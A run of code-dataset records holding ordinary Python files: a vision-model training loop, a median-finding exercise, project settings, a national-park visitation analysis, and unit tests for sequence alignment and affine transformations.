main_features.movedim(1,3).reshape(-1, FLAGS.embd_dim)\n\n sampled_indices = torch.randint(32*32,(FLAGS.batch_size, int(FLAGS.frac_per_img*32*32)),device=torch.device('cuda'))\n sampled_mask = torch.scatter(torch.zeros(FLAGS.batch_size,32*32,dtype=torch.long,device=torch.device('cuda')), 1, sampled_indices, 1).reshape(-1).bool() # (N,)\n\n sobel_mask = sobel_filter(image_batch[0]) # N\n final_mask = sobel_mask & sampled_mask\n embds = embds[final_mask]\n norm_embds = F.normalize(embds)\n \n if FLAGS.cluster_metric == 'euc':\n dists = torch.cdist(embds.unsqueeze(0),embds.unsqueeze(0))[0]**2\n elif FLAGS.cluster_metric == 'cosine':\n dists = 1 - norm_embds @ norm_embds.T\n\n cl_labels, cl_probs = model.cluster_features(dists.cpu().numpy().astype(np.float64)) # (M/N,) (M/N,)\n cl,clust_freqs = np.unique(cl_labels, return_counts=True) # (K+1,), (K+1,)\n cl_mask = torch.tensor(cl_labels != -1, device=torch.device('cuda'))\n assert cl[0] == -1\n\n cl_labels = torch.tensor(cl_labels,device=torch.device('cuda'))\n proto_sims = norm_embds[cl_mask] @ model.prototypes.T # (M/N, num_prototypes)\n mean_sims = torch.scatter_add(torch.zeros(len(cl)-1,FLAGS.num_prototypes,device=torch.device('cuda')),0, \\\n cl_labels[cl_labels != -1][:,None].tile(1,FLAGS.num_prototypes),proto_sims) / \\\n torch.tensor(clust_freqs[1:,None],device=torch.device('cuda')) # (K,num_prototypes)\n\n row_ind,col_ind = linear_sum_assignment(-mean_sims.detach().cpu().numpy())\n col_ind = torch.tensor(col_ind,device=torch.device('cuda')) # (K,)|num_prototypes|\n cl_loss = F.cross_entropy(mean_sims/FLAGS.temperature, col_ind)\n\n cl_idxs = torch.scatter(-torch.ones(final_mask.shape[0],dtype=torch.long,device=torch.device('cuda')), 0, final_mask.nonzero().reshape(-1), cl_labels) # (N,)\n \n for cr_img,cr_dims in zip(image_batch[1:],crop_dims):\n crop_features = model.extract_feature_map(cr_img)\n crop_features = F.normalize(crop_features)\n \n norm_features,crop_idxs = model.mask_crop_feats(crop_features,cr_dims,cl_idxs) # (M'/N,D), (M'/N,)|K|\n cr_features = norm_features[crop_idxs > -1]\n p_idxs = crop_idxs[crop_idxs > -1]\n cr_cl,cr_freqs = torch.unique(p_idxs,return_counts=True)\n cr_ind = torch.gather(col_ind,0,cr_cl) # (K',)|num_prototypes|\n \n cr_sims = cr_features @ model.prototypes.T # (M'/N, num_prototypes)\n\n sum_sims = torch.scatter_add(torch.zeros(len(clust_freqs)-1,FLAGS.num_prototypes,device=torch.device('cuda')),0, \\\n p_idxs[:,None].tile(1,FLAGS.num_prototypes),cr_sims) # (K,num_prototypes)\n sum_sims = torch.index_select(sum_sims,0,cr_cl) # (K',num_prototypes)\n mean_sims = sum_sims / cr_freqs[:,None]# (K',num_prototypes)\n\n crop_loss = F.cross_entropy(mean_sims/FLAGS.temperature, cr_ind)\n \n total_cl_loss += cl_loss\n total_cr_loss += crop_loss\n\n val_iter += 1\n\n '''annots = frames_load[2]\n miou, num_ious = calculate_iou(max_cluster_mask.to('cpu'), annots)\n total_miou += miou\n total_num_ious += num_ious'''\n\n\n avg_cl_loss = total_cl_loss/val_iter\n avg_cr_loss = total_cr_loss/val_iter\n log_dict = {\"Epoch\":epoch, \"Val CL Loss\": avg_cl_loss, \"Val CR Loss\": avg_cr_loss}\n \n print(log_dict)\n\n wandb.log(log_dict)\n\n if avg_cl_loss+avg_cr_loss < min_loss:\n torch.save(model.state_dict(),'weights/{}.pt'.format(FLAGS.exp))\n torch.save({'net':model.net,'proj_head':model.proj_head,'prototypes':model.prototypes},'weights/{}.pt'.format(FLAGS.exp))\n min_loss = avg_cl_loss+avg_cr_loss\n \n\nif __name__ == '__main__':\n torch.multiprocessing.set_start_method('spawn', force=True)\n app.run(main)","repo_name":"DavidPetrus/VisionParser","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":16516,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"41319703291","text":"from problem import Problem\r\nimport random\r\nimport heapq\r\n\r\n\r\nclass Problem28(Problem):\r\n def __init__(self):\r\n statement = \"Primiti numere naturale > 0 si atunci cand primiti 0,\\n\"\r\n statement += \"trebuie sa afisati valoarea mediana din vector. \\n\"\r\n statement += \"Valoarea mediana este v[mij] daca v este sortat si len e impar,\\n\"\r\n statement += \"altfel e (v[mij1] + v[mij2]) / 2 daca e par.\\n\"\r\n n = random.randint(5, 17)\r\n vect = random.sample(range(1, 20), n)\r\n vect2 = sorted(vect)\r\n numof0 = random.randint(1, 5)\r\n for i in range(numof0):\r\n vect.insert(random.randint(2, len(vect)-1), 0)\r\n vect.append(0)\r\n data = [vect, vect2]\r\n\r\n super().__init__(statement, data)\r\n\r\n def solve(self):\r\n vect = self.data[0]\r\n vect2 = self.data[1]\r\n solution = \"Vectorul primit este: \" + str(vect) + \"\\n\"\r\n solution += \"Vectorul sortat, fara 0, arata asa: \" + str(vect2) + \"\\n\"\r\n if len(vect2) % 2 == 0:\r\n valmed = (vect2[int(len(vect2)/2)-1] + vect2[int(len(vect2)/2)]) / 2\r\n else:\r\n valmed = vect2[int(len(vect2)/2)]\r\n solution += \"Valoarea mediana trebuie sa fie: \" + str(valmed) + \"\\n\\n\"\r\n\r\n heap1 = []\r\n heap2 = []\r\n mediana = 0\r\n for num in vect:\r\n if num == 0:\r\n if len(heap1) > len(heap2):\r\n valm = heap1[0]\r\n elif len(heap1) < len(heap2):\r\n valm = -heap2[0]\r\n else:\r\n nr1 = heap1[0]\r\n nr2 = -heap2[0]\r\n valm = (nr1 + nr2) / 2\r\n solution += \"min_heap este: \" + str(heap1) + \"\\n\"\r\n solution += \"max_heap este: \" + str(heap2) + \"\\n\"\r\n solution += \"valoarea mediana este: \" + str(valm) + \"\\n\\n\"\r\n else:\r\n if num > mediana:\r\n heapq.heappush(heap1, num)\r\n else:\r\n heapq.heappush(heap2, -num)\r\n\r\n if len(heap1) - len(heap2) > 1:\r\n heapq.heappush(heap2, -heapq.heappop(heap1))\r\n elif len(heap2) - len(heap1) > 1:\r\n heapq.heappush(heap1, -heapq.heappop(heap2))\r\n\r\n if len(heap1) > len(heap2):\r\n mediana = heap1[0]\r\n elif len(heap1) < len(heap2):\r\n mediana = -heap2[0]\r\n else:\r\n mediana = (heap1[0] + (-heap2[0])) / 2\r\n\r\n\r\n return solution","repo_name":"AdminSDA/Lab212","sub_path":"Problem28.py","file_name":"Problem28.py","file_ext":"py","file_size_in_byte":2581,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"41192423382","text":"from dotenv import load_dotenv\nimport logging\nimport os\nfrom pathlib import Path\n\n# Configure the logging\nfrom logging.config import dictConfig\n\nfrom .utils import fetch_huggingface_key\n\n\n# Choose which GPU can be used\nCUDA_VISIBLE_DEVICES = \"1\"\n\n# The location of models downloaded by torch.hub\n# default is ~/.cache/torch/\nTORCH_MODEL_ZOO_DIR = \"/common_projects/models/torch_zoo/\"\n\n# The location of models downloaded by huggingface hub\n# default is ~/.cache/huggingface/\nHF_HOME = \"/common_projects/models/huggingface\"\n\n\n# The dict used to configure logging\nLOG_DICT_CONFIG = dict(\n version=1,\n formatters={\"f\": {\"format\": \"%(asctime)s %(name)-12s %(levelname)-8s %(message)s\"}},\n handlers={\n \"h\": {\n \"class\": \"logging.StreamHandler\",\n \"formatter\": \"f\",\n \"level\": logging.INFO,\n }\n },\n root={\n \"handlers\": [\"h\"],\n \"level\": logging.INFO,\n },\n)\n\n\n# ===============================================================\n# Setup variables and logging and stuffs\n# ===============================================================\n\nload_dotenv() # take environment variables from .env.\n\nif \"HUGGING_FACE_TOKEN\" in os.environ:\n HUGGING_FACE_TOKEN = os.environ[\"HUGGING_FACE_TOKEN\"]\nelse:\n HUGGING_FACE_TOKEN = fetch_huggingface_key()\n\nif \"COLAB_GPU\" not in os.environ: # Avoid using CUDA_VISIBLE_DEVICES on Colab notebooks\n if \"CUDA_DEVICE_ORDER\" not in os.environ:\n os.environ[\"CUDA_DEVICE_ORDER\"] = \"PCI_BUS_ID\" # see issue #152\n if \"CUDA_VISIBLE_DEVICES\" not in os.environ:\n os.environ[\"CUDA_VISIBLE_DEVICES\"] = CUDA_VISIBLE_DEVICES\n\nif Path(TORCH_MODEL_ZOO_DIR).is_dir():\n os.environ[\"TORCH_HOME\"] = TORCH_MODEL_ZOO_DIR\n\n# USE COMMON HUGGINGFACE MODEL HUB TO AVOID DUPLICATES AND SAVE DISK SPACE\nif Path(HF_HOME).is_dir() and \"HF_HOME\" not in os.environ:\n os.environ[\"HF_HOME\"] = HF_HOME\n\ndictConfig(LOG_DICT_CONFIG)\n","repo_name":"victor-estrade/play_with_stable_diffusion","sub_path":"stable_diffusion/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":1925,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"18155540452","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Feb 3 17:26:31 2020\nMerge the public use statistics into a single .csv\n@author: sydne\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nfrom sklearn import cluster, linear_model\nfrom radar_chart import radar_chart\nimport matplotlib.pyplot as plt\n\npublic_use_yrs = ['1979', '1980-1984', '1985-1989', '1990-1994', '1995-1999', \n '2000-2004', '2005-2009', '2010-2018']\ntraffic_counts_yrs = ['1985-1989', '1990-1994', '1995-1999','2000-2004', \n '2005-2009', '2010-2014', '2015-2019']\n\n# Read first .csv to get header names\npublic_use_data = pd.read_csv('Public Use Statistics 1979.csv', sep=',', \n header=2, usecols=list(range(18)), thousands=',')\ntraffic_data = pd.read_csv('Traffic Counts 1985-1989.csv', sep=',', header=2, \n usecols=list(range(8)), thousands=',')\n\nfor yr in public_use_yrs[1:]:\n fname = 'Public Use Statistics ' + yr + '.csv'\n df = pd.read_csv(fname, sep=',', header=2, usecols=list(range(18)), \n thousands=',')\n public_use_data = pd.concat([public_use_data,df], axis=0)\n \nfor yr in traffic_counts_yrs[1:]:\n fname = 'Traffic Counts ' + yr + '.csv'\n df = pd.read_csv(fname, sep=',', header=2, usecols=list(range(8)), \n thousands=',')\n traffic_data = pd.concat([traffic_data,df], axis=0)\n\n# Get the total number of recreational visits vs hours for each type of park\npublic_by_type = public_use_data.drop(columns=['Year','Month'])\npublic_by_type = public_by_type.groupby(['ParkType']).sum()\npublic_by_type = public_by_type.sort_values('RecreationVisits',ascending=False)\ntraffic_by_type = traffic_data.drop(columns=['Year','Month'])\ntraffic_by_type = traffic_by_type.groupby(['ParkType']).sum()\ntraffic_by_type = traffic_by_type.sort_values('TrafficCount', ascending=False)\n\n# Get a list of the names of the parks under each type subset, ordered by visits\nnational_parks_use = public_use_data[(public_use_data['ParkType'] == 'National Park')].drop(columns=['Year','Month'])\nnational_parks_most_used = national_parks_use.groupby('ParkName').sum()\nnational_parks_most_used = national_parks_most_used.sort_values(\n 'RecreationVisits',ascending=False)\n\n\"\"\"\nWhere can I go to camp if I'm a tent camper who doesn't want to be by RV \ncampers?\nWhat percentage of people who visit the parks recreationally camp?\nWhat does the division between camping sets look like when recreational visits\n are added in?\n\"\"\"\n# subset the public use data into the total usage of all parks from 2010-2019\nparks = public_use_data[public_use_data['Year'] >= 2010]\nparks = parks.drop(columns=['Year','Month']).groupby(['ParkName']).sum()\n\n# Create new column headers for camping and camping as a percentage of\n# all recreational overnight stays\ncamping_columns = ['ConcessionerLodging','ConcessionerCamping','TentCampers',\n 'RVCampers','Backcountry']\ncamping_columns_percent = [s + 'Percent' for s in camping_columns]\n\n# Get the total number of camping instances in each park\nparks['CampingTotal'] = parks[camping_columns].sum(axis=1)\n\n# Create a new subset of parks that only includes parks where the total \n# camping usage is greater than zero.\ncamping = parks[parks['CampingTotal'] != 0]\n\n# What percentage of people who visit the parks recreationally camp overnight?\nprint('Total number of national parks included in analysis (2010-2019): ' + \n str(len(parks)))\nprint('Total number of national parks with no recreational camping: ' + \n str(len(parks) - len(camping)))\n\ncamping['PercentVisitorsCamping'] = 100* camping['CampingTotal'] / (camping['RecreationVisits'] + camping['CampingTotal'])\ncamping = camping.sort_values('PercentVisitorsCamping', ascending=True)\nprint('Parks with the fewest campers (by percentage):')\nprint(camping['PercentVisitorsCamping'].head())\ncamping = camping.sort_values('PercentVisitorsCamping', ascending=False)\nprint('Parks with the most campers (by percentage):')\nprint(camping['PercentVisitorsCamping'].head())\n\n# Append a percentage column for each type of camping.\ncamping_percent = camping.apply(lambda x:x[camping_columns]/x['CampingTotal'], \n axis=1)\ncamping_percent.columns = [str(col) + 'Percent' for col in camping_percent.columns]\ncamping = pd.concat([camping,camping_percent], axis=1)\n\n# Get a list of the park names in which camping occurs\npark_names = list(camping.index.values)\n\n# Cluster the parks based on the percentage of each type of camping.\nnp_camping = camping[camping_columns_percent].to_numpy()\nk_means = cluster.KMeans(n_clusters=4)\nk_means.fit(np_camping)\nvalues = pd.DataFrame(k_means.cluster_centers_.squeeze(),\n columns=camping_columns_percent)\n# Plot a spider chart of each of the clusters\nfig, ax = radar_chart(values, camping_columns)\nlabels = k_means.labels_\ncamping['Cluster'] = labels\n#pd.plotting.parallel_coordinates(camping, 'Cluster', cols=camping_columns_percent)\n\n# Figure out the top 10 most visited parks in each cluster.\nbackcountry_cluster = camping[camping['Cluster'] == 0]\nbackcountry_cluster = backcountry_cluster.sort_values('RecreationVisits', \n ascending=False)\nbackcountry = list(backcountry_cluster.index[0:10])\n\nconcessioner_cluster = camping[camping['Cluster'] == 1]\nconcessioner_cluster = concessioner_cluster.sort_values('RecreationVisits', \n ascending=False)\nconcessioner = list(concessioner_cluster.index[0:10])\n\ntent_cluster = camping[camping['Cluster'] == 2]\ntent_cluster = tent_cluster.sort_values('RecreationVisits', ascending=False)\ntent = list(tent_cluster.index[0:10])\n\nRV_cluster = camping[camping['Cluster'] == 3]\nRV_cluster = RV_cluster.sort_values('RecreationVisits', ascending=False)\nRV = list(RV_cluster.index[0:10])\n\n# Append the top 5 to the radar chart\nfig.text(0.5, 0.965, 'K-Means Clustering of National Parks by Camping (Percent Occurance)',\n horizontalalignment='center', color='black', weight='bold',\n size='large')\nnewline = '\\n'\nfig.text(0.86, 0.79, 'Most Visited Parks in Cluster 1:', fontweight='bold', ha='center',\n wrap=True)\nfig.text(0.86, 0.7, newline.join(backcountry[0:5]), ha='center', wrap=True)\nfig.text(0.2, 0.85, 'Most Visited Parks in Cluster 2:', fontweight='bold', ha='center',\n wrap=True)\nfig.text(0.2, 0.76, newline.join(concessioner[0:5]), ha='center', wrap=True)\nfig.text(0.275, 0.14, 'Most Visited Parks in Cluster 3:', fontweight='bold', ha='center',\n wrap=True)\nfig.text(0.275, 0.05, newline.join(tent[0:5]), ha='center', wrap=True)\nfig.text(0.75, 0.14, 'Most Visited Parks in Cluster 4:', fontweight='bold', ha='center',\n wrap=True)\nfig.text(0.75, 0.05, newline.join(RV[0:5]), ha='center', wrap=True)\n\n# Add columns for the total usage\nparks_by_year = public_use_data.drop(columns=['Month']).groupby('Year').sum()\nparks_by_year['CampingTotal'] = parks_by_year[camping_columns].sum(axis=1)\nparks_by_year['TotalVisits'] = parks_by_year['CampingTotal'] + parks_by_year['RecreationVisits'] + parks_by_year['NonRecreationVisits'] + parks_by_year['NonRecreationOvernightStays'] + parks_by_year['MiscellaneousOvernightStays']\nparks_by_year['TotalRecreationVisits'] = parks_by_year['CampingTotal'] + parks_by_year['RecreationVisits']\n\n# Append a percentage column for each type of camping.\ncamping_percent_by_year = parks_by_year.apply(lambda x:x[camping_columns]/x['CampingTotal'], \n axis=1)\ncamping_percent_by_year.columns = [str(col) + 'Percent' for col in camping_percent_by_year.columns]\nparks_by_year = pd.concat([parks_by_year,camping_percent_by_year], axis=1)\n\n# Fit a trendline to the data to predict the total number of visits to each\n# national park in 2020. \n# Create linear regression object\nregr = linear_model.LinearRegression()\n\n# Train the model using year as X and recreational visitors per year\nX = parks_by_year.index.values.reshape(-1,1)\nY = parks_by_year['TotalVisits'].values.reshape(-1,1)\nregr.fit(X, Y)\n\n# Make predictions using the testing set\nvisitors_trendline = np.linspace(start=1979, stop=2030, num=2030-1979+1)\nvisitors_prediction = regr.predict(visitors_trendline.reshape(-1,1))\n\n# Train the model using year as X and recreational visitors from 10 most popular\n# National parks\nnational_parks = public_use_data[(public_use_data['ParkType'] == 'National Park')]\ntop_ten = list(national_parks_most_used.iloc[:10].index)\nnational_parks = national_parks[national_parks['ParkName'].isin(top_ten)]\nnational_parks_by_year = national_parks.drop(columns=['Month']).groupby('Year').sum()\nnational_parks_by_year['CampingTotal'] = national_parks_by_year[camping_columns].sum(axis=1)\nnational_parks_by_year['TotalVisits'] = national_parks_by_year['CampingTotal'] + national_parks_by_year['RecreationVisits'] + national_parks_by_year['NonRecreationVisits'] + national_parks_by_year['NonRecreationOvernightStays'] + national_parks_by_year['MiscellaneousOvernightStays']\nY = national_parks_by_year['TotalVisits'].values.reshape(-1,1)\nregr.fit(X, Y)\n\n# Make predictions\ntop_ten_trendline = np.linspace(start=1979, stop=2030, num=2030-1979+1)\ntop_ten_prediction = regr.predict(top_ten_trendline.reshape(-1,1))\n\n# Train the model using total number of campers per year\nY = parks_by_year['CampingTotal'].values.reshape(-1,1)\nregr.fit(X, Y)\n\n\n# Make predictions using the testing set\ncampers_trendline = np.linspace(start=1979, stop=2030, num=2030-1979+1)\ncampers_prediction = regr.predict(visitors_trendline.reshape(-1,1))\n\n# Plot the predictions for number of visitors and number of campers\nfig1, axs1 = plt.subplots(figsize=(9, 9), nrows=2, ncols=1, \n gridspec_kw = {'hspace':0.3, 'wspace':0, 'top':0.95, \n 'left':0.1, 'right':0.95, \n 'bottom':0.05})\naxs1[0].plot(parks_by_year.index.values, parks_by_year['TotalVisits']/1E6,\n linewidth=3, linestyle='-', color='tomato') \naxs1[0].plot(visitors_trendline, visitors_prediction/1E6, linewidth=2, \n linestyle=':', color='tomato')\naxs1[0].set_ylabel('Number of Visitors, (Millions)', fontsize=12)\naxs1[0].set_xlabel('Year', fontsize=12)\naxs1[0].set_title('Total Number of Visitors to National Parks, 1979-2018', \n fontweight='bold')\naxs1[0].set_xlim([1979,2020])\naxs1[0].legend(labels=['Total Visitors', \n 'Linear Regression Fit'], loc='upper left')\n \naxs1[1].plot(parks_by_year.index.values, parks_by_year['CampingTotal']/1E6,\n linewidth=3, linestyle='-', color='sandybrown') \naxs1[1].plot(campers_trendline, campers_prediction/1E6, linewidth=2, \n linestyle=':', color='sandybrown')\naxs1[1].set_ylabel('Number of Campers, (Millions)', fontsize=12)\naxs1[1].set_xlabel('Year', fontsize=12)\naxs1[1].set_title('Total Number of Camping Visits to National Parks, 1979-2018', \n fontweight='bold')\naxs1[1].set_xlim([1979,2020])\naxs1[1].legend(labels=['Total Campers', \n 'Linear Regression Fit'], loc='upper right')\n\n\n# Plot the total number of visits per year over time\nfig, axs = plt.subplots(figsize=(9, 9), nrows=2, ncols=1, \n gridspec_kw = {'hspace':0.375, 'wspace':0, 'top':0.9, \n 'left':0.1, 'right':0.95, \n 'bottom':0.05})\n\n# Plot overall recreation visits by year\nlabels = ['Recreational Visits', 'Non-Recreational Visits', \n 'Recreational Camping Visits', 'Non-Recreational Overnight Stays', \n 'Miscellaneous Overnight Stays']\ncolors = ['skyblue', 'sandybrown', 'tomato', 'thistle', 'lightgreen']\ny = np.vstack([parks_by_year['RecreationVisits'], \n parks_by_year['NonRecreationVisits'], \n parks_by_year['CampingTotal'],\n parks_by_year['NonRecreationOvernightStays'],\n parks_by_year['MiscellaneousOvernightStays']])\ny = y/1E6\naxs[0].stackplot(parks_by_year.index.values, y, labels=labels, colors=colors, \n edgecolor='black')\naxs[0].set_ylabel('Number of Visits, (Millions)', fontsize=12)\naxs[0].set_xlabel('Year', fontsize=12)\naxs[0].set_title('Total Number of Visits to National Parks, 1979-2018', \n fontweight='bold', pad=40)\naxs[0].set_xlim([1979,2018])\naxs[0].legend(loc='upper center', bbox_to_anchor=(0.5, 1.18), ncol=3)\n\n# Plot a breakdown of camping types by year\nlabels = ['Concessioner Lodging', 'Concessioner Camping', 'Tent Campers', \n 'RV Campers', 'Backcountry Campers']\ncolors = ['chocolate', 'salmon', 'cornflowerblue', 'mediumturquoise', 'orchid']\ny = np.vstack([parks_by_year[camping_columns_percent]])\ny = y*100\naxs[1].stackplot(parks_by_year.index.values, np.transpose(y), labels=labels,\n colors=colors, edgecolor='black')\naxs[1].set_ylabel('Percentage of Camping Visitors, (%)', fontsize=12)\naxs[1].set_xlabel('Year', fontsize=12)\naxs[1].set_title('Types of Campers in National Parks, 1979-2018', \n fontweight='bold', pad=40)\naxs[1].set_xlim([1979,2018])\naxs[1].set_ylim([0,100])\naxs[1].legend(loc='upper center', bbox_to_anchor=(0.5, 1.18), ncol=3)\n\n# Track national park usage compared to boundaries in 2019. ","repo_name":"sprovence/NPS","sub_path":"data cleaning/publicUseStats.py","file_name":"publicUseStats.py","file_ext":"py","file_size_in_byte":13218,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"71267036961","text":"'''\nn = int(input())\n\nnum = []\nfor i in range(n):\n a = list(map(int, input().split()))\n num.append(list(set(a)))\n\nbase = n*(n - 1) // 2\n\nans = []\ndef qw(start, tack):\n if len(tack) == 2:\n ans.append(tack.copy())\n return\n for i in range(start, n):\n tack.append(i)\n qw(i + 1, tack)\n tack.pop()\n\nqw(0, [])\ncnt = 0\n\nprint(len(ans))\nfor [i, j] in ans:\n print(i,j)\n cnt += len(set(num[i]).union(set(num[j])))\nprint(cnt / base)\n'''\n\nfrom collections import defaultdict\n\n\nn = int(input())\n\nnum = []\nfor i in range(n):\n a = list(map(int, input().split()))\n a = a[1:]\n num.append(list(set(a)))\n\nbase = n*(n - 1) // 2\n\ncnt = 0\n\nmp = defaultdict(int)\nfor nu in num:\n cnt += len(nu) * (n - 1)\n for c in nu:\n mp[c]+= 1\n\nfor v in mp.values():\n cnt -= v * (v - 1) // 2\n\n'''\nfor k, v in mp.items():\n cnt -= v * (v - 1) // 2\n'''\nprint(cnt / base)\n\n'''\nmy_dict = {'a': 1, 'b': 2, 'c': 3} \n \nfor [key, value] in my_dict.items(): \n print(\"Key:\", key) \n print(\"Value:\", value)\n'''","repo_name":"lrg11/csapp","sub_path":"meituan.py","file_name":"meituan.py","file_ext":"py","file_size_in_byte":1050,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"6071102807","text":"import unittest\nimport numpy as np\n\nfrom needleman_wunsch_algorithm_config import NeedlemanWunschAlgorithmConfig\nfrom needleman_wunsch_algorithm import NeedlemanWunschAlgorithm\nfrom cell import Cell\nfrom direction import Direction\n\n\nclass TestNeedlemanWunschAlgorithmMethods(unittest.TestCase):\n \"\"\"\n Class representing tests for Needleman-Wunsch algorithm\n \"\"\"\n\n def setUp(self):\n \"\"\"\n Method creating object of class NeedlemanWunschAlgorithm to test methods\n \"\"\"\n config = self._prepare_config(5, -5, -2, 10, 2000)\n self.input_data = (\"SUM\", \"SAM\", config)\n self.nwa = NeedlemanWunschAlgorithm(self.input_data[0], self.input_data[1], self.input_data[2])\n\n\n def _prepare_config(self, same, diff, gap_penalty, max_number_paths, max_seq_length):\n config = NeedlemanWunschAlgorithmConfig(manual = True)\n\n config.SAME = same\n config.DIFF = diff\n config.GAP_PENALTY = gap_penalty\n config.MAX_NUMBER_PATHS = max_number_paths\n config.MAX_SEQ_LENGTH = max_seq_length\n\n return config\n\n\n def test_get_scoring_matrix_has_correct_shape_of_matrix(self):\n # Expected result\n expected_result = self._get_expected_result_for_get_scoring_matrix_method()\n expected_result_shape = expected_result.shape\n\n # Result of the method get_scoring_matrix()\n result = self.nwa.get_scoring_matrix()\n result_shape = result.shape\n\n # Check scoring matrix shape\n self.assertEqual(result_shape, expected_result_shape, \"Wrong shape of scoring matrix!\")\n \n\n def test_get_scoring_matrix_has_correct_cells(self):\n # Expected result\n expected_result = self._get_expected_result_for_get_scoring_matrix_method()\n\n # Result of the method get_scoring_matrix()\n result = self.nwa.get_scoring_matrix()\n\n # Compare scoring matrixes\n for i in range(0, 4):\n for j in range(0, 4):\n self.assertEqual(result[i, j], expected_result[i, j])\n\n\n def _get_expected_result_for_get_scoring_matrix_method(self):\n n_row = 4\n n_col = 4\n\n expected_result = np.empty((n_row, n_col), dtype = Cell)\n expected_result_values = [0, -2, -4, -6, \n -2, 5, 3, 1, \n -4, 3, 1, -1, \n -6, 1, -1, 6]\n expected_result_directions = [None, Direction.LEFT, Direction.LEFT, Direction.LEFT, \n Direction.UP, Direction.DIAG, Direction.LEFT, Direction.LEFT, \n Direction.UP, Direction.UP, Direction.UP|Direction.LEFT, Direction.UP|Direction.LEFT, \n Direction.UP, Direction.UP, Direction.UP|Direction.LEFT, Direction.DIAG]\n for i in range(0, n_row):\n for j in range(0, n_col):\n k = i * n_row + j\n expected_result[i, j] = Cell()\n expected_result[i, j].value = expected_result_values[k]\n expected_result[i, j].directions = expected_result_directions[k]\n\n return expected_result\n\n\n def test_get_score(self):\n # Expected result\n expected_result = 6\n\n # Result of the methos get_score()\n result = self.nwa.get_score()\n\n # Compare scores\n self.assertEqual(result, expected_result)\n\n\n def test_get_result_has_correct_length(self):\n # Result of the get_result() method\n result = self.nwa.get_result()\n result_tuples_list = list(result)\n result_tuples_list_len = len(result_tuples_list)\n\n # Expected result\n expected_result_tuples_list = self._get_expected_result_for_get_result_method()\n expected_result_tuples_list_len = len(expected_result_tuples_list)\n\n # Check if lengths are equal\n self.assertEqual(result_tuples_list_len, expected_result_tuples_list_len)\n\n\n def test_get_result_has_correct_number_of_strings(self):\n # Result of the get_result() method\n result = self.nwa.get_result()\n result_tuples_list = list(result)\n result_list = [item for t in result_tuples_list for item in t]\n result_list_len = len(result_list)\n\n # Expected result\n expected_result_tuples_list = self._get_expected_result_for_get_result_method()\n expected_result_list = [item for t in expected_result_tuples_list for item in t]\n expected_result_list_len = len(expected_result_list)\n\n # Check if lengths are equal\n self.assertEqual(result_list_len, expected_result_list_len)\n\n\n def test_get_result_has_correct_lengths_of_elements(self):\n # Result of the get_result() method\n result = self.nwa.get_result()\n result_tuples_list = list(result)\n\n # Check if lengths are equal 2\n for r in result_tuples_list:\n self.assertEqual(len(r), 2)\n\n\n def test_get_result_has_all_strings(self):\n # Result of the get_result() method\n result = self.nwa.get_result()\n result_tuples_list = list(result)\n result_list = [item for t in result_tuples_list for item in t]\n\n # Expected result\n expected_result_tuples_list = self._get_expected_result_for_get_result_method()\n expected_result_list = [item for t in expected_result_tuples_list for item in t]\n\n # Check if all strings are in method result\n for r in expected_result_list:\n self.assertIn(r, result_list)\n\n\n def test_get_result_has_all_elements(self):\n # Result of the get_result() method\n result = self.nwa.get_result()\n result_tuples_list = list(result)\n\n # Expected result\n expected_result_tuples_list = self._get_expected_result_for_get_result_method()\n expected_result_tuples_list_len = len(expected_result_tuples_list)\n\n # Sort result elements and expected result elements to compare\n for i in range(0, expected_result_tuples_list_len):\n result_tuples_list[i] = tuple(np.sort(result_tuples_list[i]))\n expected_result_tuples_list[i] = tuple(np.sort(expected_result_tuples_list[i]))\n\n # Compare tuples\n for r in expected_result_tuples_list:\n self.assertIn(r, result_tuples_list)\n \n\n def _get_expected_result_for_get_result_method(self):\n return [(\"SU_M\", \"S_AM\"), (\"S_UM\", \"SA_M\")]\n \n\nif __name__ == '__main__':\n unittest.main()","repo_name":"paldynaagata/Needleman-Wunsh_algorithm","sub_path":"src/tests/test_needleman_wunsch_algorithm.py","file_name":"test_needleman_wunsch_algorithm.py","file_ext":"py","file_size_in_byte":6471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"16524445500","text":"\"\"\"Tests for affine transformation primitive functions\"\"\"\n\nfrom math import pi\nfrom typing import Sequence\nfrom unittest import TestCase\n\nfrom torch import diag, exp, eye, tensor, zeros\nfrom torch.testing import assert_close\n\nfrom algorithm.affine_transformation import (\n AffineTransformationTypeDefinition, calculate_n_dims,\n calculate_n_parameters, compose_affine_transformation_matrices,\n convert_to_homogenous_coordinates, embed_transformation,\n generate_affine_transformation_matrix, generate_rotation_matrix,\n generate_scale_and_shear_matrix, generate_scale_matrix,\n generate_translation_matrix)\nfrom tests.shape_test_util import BroadcastShapeTestingUtil\n\n\nclass AffineSpaceDimensionalityTests(TestCase):\n \"\"\"Tests for affine space dimensionality\"\"\"\n def _test_calculate_n_parameters_and_n_dims(\n self,\n affine_type: AffineTransformationTypeDefinition,\n n_dims_sequence: Sequence[int],\n n_parameters_sequence: Sequence[int]) -> None:\n for n_dims, n_parameters in zip(n_dims_sequence, n_parameters_sequence):\n self.assertEqual(\n calculate_n_dims(n_parameters, affine_type),\n n_dims\n )\n self.assertEqual(\n calculate_n_parameters(n_dims, affine_type),\n n_parameters\n )\n\n def test_calculate_n_parameters_and_n_dims(self) -> None:\n \"\"\"Test correct dimensionalities\"\"\"\n self._test_calculate_n_parameters_and_n_dims(\n AffineTransformationTypeDefinition.full(),\n [1, 2, 3, 4],\n [2, 6, 12, 20]\n )\n self._test_calculate_n_parameters_and_n_dims(\n AffineTransformationTypeDefinition.only_rotation(),\n [1, 2, 3, 4],\n [0, 1, 3, 6]\n )\n self._test_calculate_n_parameters_and_n_dims(\n AffineTransformationTypeDefinition.only_scale(),\n [1, 2, 3, 4],\n [1, 2, 3, 4]\n )\n self._test_calculate_n_parameters_and_n_dims(\n AffineTransformationTypeDefinition.only_shear(),\n [1, 2, 